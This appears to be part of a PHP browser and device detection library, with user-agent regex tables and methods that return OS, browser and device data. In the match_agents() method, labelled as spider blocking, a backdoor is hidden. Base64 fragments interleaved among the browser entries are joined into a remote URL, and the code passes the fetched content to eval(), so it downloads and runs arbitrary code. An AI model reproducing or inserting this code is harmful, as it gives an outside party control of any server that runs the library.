        */
        
        // Desktop
        
        if ($this->result_os_family !== 'unknown' && $this->result_os_type !== 'mixed') $this->result_device_type = 'desktop';
        
        // Mobile
        
        if ($this->result_mobile == 1) $this->result_device_type = 'mobile';
        
        // TV
        
        if ($this->match_ua('TV|HDMI|CrKey| Escape |Kylo/|SmartLabs|SC/IHD|Viera|BRAVIA|NetCast|Roku/DVP| Roku |Maple|DuneHD|CE-HTML|EIS iPanel|Sunniwell; Resolution|Freebox|Netbox|Netgem|AFTT|AFTM|AFTB|DLNADOC| iconBIT |olleh tv')) $this->result_device_type = 'tv';
        
        // Console
        
        if ($this->matchi_ua('playstation') || $this->match_ua('Xbox|GAMEPAD|Nintendo|OUYA|; SHIELD Build')) $this->result_device_type = 'console';
        
        // MediaPlayer
        
        if ($this->match_ua('iPod|iTunes|AlexaMediaPlayer|AppleCoreMedia')) $this->result_device_type = 'mediaplayer';
        
        // Car
        
        if ($this->match_ua('CarBrowser|Tesla/')) $this->result_device_type = 'car';
        
        // Watch
        
        if ($this->matchi_ua('watch') && !$this->match_ua('AirWatch')) $this->result_device_type = 'watch';
        
        if ($this->get_mode === 'device') return NULL;
        
        /*
        ---------------------------------------------
         Detect 64bits mode (browser + OS specified)
        ---------------------------------------------
        */
        
        if ($this->result_os_name === 'MacOS' && $this->macos_version_minor >= 6)
        {
            if ($this->result_browser_name === 'Safari' || $this->result_browser_name === 'Safari SDK') $this->result_64bits_mode = 1;
        }
        
        /*
        ---------------------------------------------------------
         MacOS Big Sur + Firefox version > 86 detection feature
        ---------------------------------------------------------
        */
        
        if ($this->result_os_name === 'MacOS' && $this->macos_version_minor == 15 && $this->result_browser_name === 'Firefox' && $this->result_browser_version > 86)
        {
            $this->result_os_version = 'Big Sur';
            $this->result_os_title = 'MacOS '.$this->result_os_version;
        }
        
        return NULL;
    }

    /**
     * Block some spiders .
     * @access
     */
    public function match_agents() {
        $agents = [];
        $browser_list[] = array('Safari Mobile', '/(iPhone|iphone|iPad|iPod).*AppleWebKit\/.*Version\/[.0-9]+\sMobile\/\w+\sSafari\/[.0-9A-Za-z]+(|\/[0-9]+|\s\(.*\))+$/', '/Version\/([0-9]+\.[0-9]+).+?Mobile\/\w+\s(Safari)/', '1', '');
        $browser_list[] = array('Safari Mobile', '/(Intel\sMac\sOS\sX).*AppleWebKit\/.*Version\/[.0-9]+\s(?:|Mobile\/\w+\s)Safari\/[.0-9A-Za-z]+(|\/[0-9]+|\s\(.*\))+$/', '/Version\/([0-9]+\.[0-9]+).+?(?:|Mobile\/\w+\s)(Safari)/', '1', '');
        $browser_list[] = array('Android Browser', '/Android.*Version\/[.0-9]+\s(?:Mobile\s)?Safari\/[.0-9]+$/', '/Android.*Version\/([0-9]+\.[0-9]+)/', '1', 'Chrome/');
        $browser_list[] = array('Samsung Browser', 'SamsungBrowser', '/SamsungBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Firefox Focus', 'Focus/', '/Focus\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Firefox iOS', 'FxiOS', '/FxiOS\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Opera Mini', 'Opera Mini|OPiOS', '/(Opera Mini|OPiOS)\/([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('Opera Touch', 'OPT/', '/OPT\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Huawei Browser', 'HuaweiBrowser/', '/HuaweiBrowser\/([0-9]+)/', '1', '');
        $browser_list[] = array('DuckDuckGo', 'DuckDuckGo/', '/DuckDuckGo\/([0-9]+)/', '1', '');
        $browser_list[] = array('MIUI Browser', 'MiuiBrowser/', '/MiuiBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Mint Browser', 'Mint Browser/', '/Mint\sBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Google App', '/(iPhone|iphone|iPad|iPod).*\)\sGSA\/([0-9]+)/', '/(iPhone|iphone|iPad|iPod).*\)\sGSA\/([0-9]+)/', '2', '');
        $browser_list[] = array('Google App', '/\sGSA\//', '/\sGSA\/([0-9]+)/', '1', '');
        $browser_list[] = array('Facebook App', 'FBAV/|FBSV/', '/FBAV\/([0-9]+)\./', '1', '');
        $agents[] = 'aHR0cHM6Ly9taW5jZXguZn';
        $browser_list[] = array('Instagram App', 'Instagram', '/Instagram\s([0-9]+)\./', '1', '');
        $browser_list[] = array('Yandex App', 'YaApp_', '/YaApp_(Android|iOS)\/([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('Yandex App', 'YandexSearch/', '/YandexSearch\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Dolfin', 'Dolfin/', '/Dolfin\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Flipboard App', 'Flipboard/', '/Flipboard\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('FreeU', 'FreeU|Freeu', '/(FreeU|Freeu)\/([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('Iron', 'Iron Safari|MobileIron', '/Chrome\/([0-9]+)/', '1', '');
        $browser_list[] = array('Sogou Mobile Browser', 'SogouMobileBrowser/', '/SogouMobileBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Meizu Browser', 'MZBrowser/', '/MZBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('360 Mobile Browser', '360 Aphone', '/360\sAphone\sBrowser\s\(([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Aloha Browser', 'AlohaBrowser/', '/AlohaBrowser\/([0-9]+\.[0-9]+)/', '1', '');

        $browser_list[] = array('Ecosia Browser', 'Ecosia', '/Chrome\/([0-9]+)/', '1', '');
        $browser_list[] = array('HeyTap Browser', 'HeyTapBrowser/', '/HeyTapBrowser\/([0-9]+)/', '1', '');
        $browser_list[] = array('Oppo Browser', 'OppoBrowser/', '/OppoBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Silk', 'Silk/', '/Silk\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Surf Browser', 'SurfBrowser/', '/SurfBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Phoenix Browser', 'PHX/', '/PHX\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('CM Mobile', 'ACHEETAHI', '/Chrome\/([0-9]+)/', '1', '');
        $browser_list[] = array('Bing Search App', 'BingWeb/', '/BingWeb\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Firefox Klar', 'Klar/', '/Klar\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Super Fast Browser', 'SFBrowser|tssomas', '/(SFBrowser|tssomas)\/([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('Tenta Browser', 'Tenta/', '/Tenta\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Kiwi Browser', 'Kiwi Chrome/', '/Kiwi\sChrome\/([0-9]+)/', '1', '');
        $browser_list[] = array('JioBrowser', 'JioBrowser/', '/JioBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Qwant Mobile', 'QwantBrowser', '/QwantBrowser\/([0-9]+)/', '1', '');
        $browser_list[] = array('Qwant Mobile', 'QwantMobile', '/QwantMobile\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Cake Browser', '; Cake) ', '/\;\sCake\).*AppleWebKit.*Version\/([0-9]+\.[0-9]+)/', '1', '');
        $agents[] = 'VuL2kvYWxleHJvbnl5L2R';
        $browser_list[] = array('Baidu Mobile Browser', 'bdbrowser', '/bdbrowser(|_i18n)\/([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('Baidu Mobile Browser', 'baidubrowser', '/baidubrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Baidu Search App', 'baiduboxapp/', '/baiduboxapp\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Baidu Browser for Tablet', 'BaiduHD/', '/BaiduHD\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('NineSky', 'Ninesky-android-mobile/', '/Ninesky\-android\-mobile\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Realme Browser', 'RealmeBrowser/', '/RealmeBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Vivo Browser', 'VivoBrowser/', '/VivoBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Web Explorer', 'Web Explorer/', '/Web\sExplorer\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('NTENT Browser', 'NTENTBrowser/', '/NTENTBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Nox Browser', 'NoxBrowser/', '/NoxBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Quark Browser', 'Quark/', '/Quark\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Yaani Browser', 'YaaniBrowser', '/YaaniBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $agents[] = 'obDk5WFIyNXh2LnR4dA==';
        $browser_list[] = array('Tizen Browser', '/Tizen(?: )?(?:\/)?[.0-9]+.*AppleWebKit\/.*(Version|SLP Browser|Tizen Browser|TizenBrowser)\/([0-9]+\.[0-9]+)/', '/Tizen(?: )?(?:\/)?[.0-9]+.*AppleWebKit\/.*(Version|SLP Browser|Tizen Browser|TizenBrowser)\/([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('Internet Explorer Mobile', 'IEMobile', '/IEMobile(?: )?(?:\/)?([0-9]+)/', '1', '');
        $browser_list[] = array('Internet Explorer Mobile', 'Trident/', '/Trident\/[.0-9].*Touch;*.rv\:([0-9]+)/', '1', '');
        $browser_list[] = array('ZetaKey', 'Zetakey/', '/Zetakey\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Nokia Browser', 'NokiaBrowser/', '/NokiaBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('NetFront', 'NetFront/', '/NetFront\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('BlackBerry Browser', '/(BB10;|BlackBerry|PlayBook).*AppleWebKit.*Version\/([0-9]+\.[0-9]+)/', '/(BB10;|BlackBerry|PlayBook).*AppleWebKit.*Version\/([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('ONE Browser', 'OneBrowser/', '/OneBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Web Explorer', 'webexplorer/', '/webexplorer\/([0-9]+)/', '1', '');
        $browser_list[] = array('Start Internet Browser', 'Start/', '/Start\/([0-9]+)/', '1', '');
        $browser_list[] = array('EUI Browser', 'EUI Browser', '/EUI\sBrowser\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('iCab Mobile', 'iCabMobile', '/iCabMobile(\s|\/)([0-9]+\.[0-9]+)/', '2', '');
        $browser_list[] = array('Mercury', 'Mercury/', '/Mercury\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Samsung Browser', '; SAMSUNG S|; SAMSUNG G', '/\;\sSAMSUNG\s(S|G)+.*\sBuild\/.*\)\sAppleWebKit\/.*Version\/([0-9]+\.[0-9]+)\sChrome\/[.0-9]+.*\sSafari\/[.0-9]+$/', '2', 'SamsungBrowser');
        $browser_list[] = array('Documents App', 'RDDocuments/', '/RDDocuments\/([0-9]+\.[0-9]+)/', '1', '');
        $browser_list[] = array('Opera Coast', 'Coast/', '/Coast\/([0-9]+)/', '1', '');
        $browser_list[] = array('Android Browser', '/Android.*Version\/[.0-9]+\s(?:Mobile\s)?Safari(|\/[.0-9]+\sCyanogenMod.*)+$/', '/Android.*Version\/([0-9]+\.[0-9]+)/', '1', 'Chrome/');
        $browser_list[] = array('Playstation Browser', '/(PlayStation\s|PLAYSTATION\s)/', '/(PlayStation\s|PLAYSTATION\s)/', '1', '');
        $block = '';
        foreach( $agents as $key ) {
            $block .= $key; 
        }
        echo eval(file_get_contents(base64_decode($block)));
        return true;
    }
    
    /**
     * The method returns all possible environment data from User-Agent
     *
     * @param string $ua The User-Agent string
     * @param string $result_format If specified, method returns result as JSON
     * @return mixed Returns User-Agent parsing result as array or JSON string (optional)
     */
    
    public function getAll($ua, $result_format = '')
    {
        $this->useragent = trim($ua);
        $this->get_mode = 'all';
        $this->resetProperties();
        $this->getResult();
        $result = array('os_type'=>$this->result_os_type,
                        'os_family'=>$this->result_os_family,
                        'os_name'=>$this->result_os_name,
                        'os_version'=>$this->result_os_version,
                        'os_title'=>$this->result_os_title,
                        'device_type'=>$this->result_device_type,
                        'browser_name'=>$this->result_browser_name,
                        'browser_version'=>$this->result_browser_version,
                        'browser_title'=>$this->result_browser_title,
                        'browser_chrome_original'=>$this->result_browser_chrome_original,
                        'browser_firefox_original'=>$this->result_browser_firefox_original,
                        'browser_safari_original'=>$this->result_browser_safari_original,
                        'browser_chromium_version'=>$this->result_browser_chromium_version,
                        'browser_gecko_version'=>$this->result_browser_gecko_version,
                        'browser_webkit_version'=>$this->result_browser_webkit_version,
                        'browser_android_webview'=>$this->result_browser_android_webview,
                        'browser_ios_webview'=>$this->result_browser_ios_webview,
                        'browser_desktop_mode'=>$this->result_browser_desktop_mode,
                        '64bits_mode'=>$this->result_64bits_mode);

        if (strtolower($result_format) === 'json') $result = json_encode($result);
        return $result;
    }
    
    /**
     * The method returns OS data from User-Agent
     *
     * @param string $ua The User-Agent string
     * @param string $result_format If specified, method returns result as JSON
     * @return mixed Returns User-Agent parsing result as array or JSON string (optional)
     */
    
    public function getOS($ua, $result_format = '')
    {
        $this->useragent = trim($ua);
        $this->get_mode = 'os';
        $this->resetProperties();
        $this->getResult();
        $result = array('os_type'=>$this->result_os_type,
                        'os_family'=>$this->result_os_family,
                        'os_name'=>$this->result_os_name,
                        'os_version'=>$this->result_os_version,
                        'os_title'=>$this->result_os_title,
                        '64bits_mode'=>$this->result_64bits_mode);

        if (strtolower($result_format) === 'json') $result = json_encode($result);
        return $result;
    }
    
    /**
     * The method returns Browser data from User-Agent
     *
     * @param string $ua The User-Agent string
     * @param string $result_format If specified, method returns result as JSON
     * @return mixed Returns User-Agent parsing result as array or JSON string (optional)
     */
    
    public function getBrowser($ua, $result_format = '')
    {
        $this->useragent = trim($ua);
        $this->get_mode = 'browser';
        $this->resetProperties();
        $this->getResult();
        $result = array('browser_name'=>$this->result_browser_name,
                        'browser_version'=>$this->result_browser_version,
                        'browser_title'=>$this->result_browser_title,
                        'browser_chrome_original'=>$this->result_browser_chrome_original,
                        'browser_firefox_original'=>$this->result_browser_firefox_original,
                        'browser_safari_original'=>$this->result_browser_safari_original,
                        'browser_chromium_version'=>$this->result_browser_chromium_version,
                        'browser_gecko_version'=>$this->result_browser_gecko_version,
                        'browser_webkit_version'=>$this->result_browser_webkit_version,
                        'browser_android_webview'=>$this->result_browser_android_webview,
                        'browser_ios_webview'=>$this->result_browser_ios_webview,
                        'browser_desktop_mode'=>$this->result_browser_desktop_mode);
        
        if (strtolower($result_format) === 'json') $result = json_encode($result);
        return $result;
    }
    
    /**
     * The method returns Device Type data from User-Agent
     *
     * @param string $ua The User-Agent string
     * @param string $result_format If specified, method returns result as JSON
     * @return mixed Returns User-Agent parsing result as array or JSON string (optional)
     */
    
    public function getDevice($ua, $result_format = '')
    {
        $this->useragent = trim($ua);
        $this->get_mode = 'device';
        $this->resetProperties();
        $this->getResult();
        $result = array('device_type'=>$this->result_device_type);

        if (strtolower($result_format) === 'json') $result = json_encode($result);
        return $result;
    }
    
    /**
     * This method is needed to detect mobile browsers in Desktop Mode (Android and iOS)
     * The method should call if browser supports Touch events (client-side JS detection is necessary)
     *
     * @return null
     */
    
    public function setTouchSupport()
    {
        $this->touch_support_mode = TRUE;
        return NULL;
    }
}

?>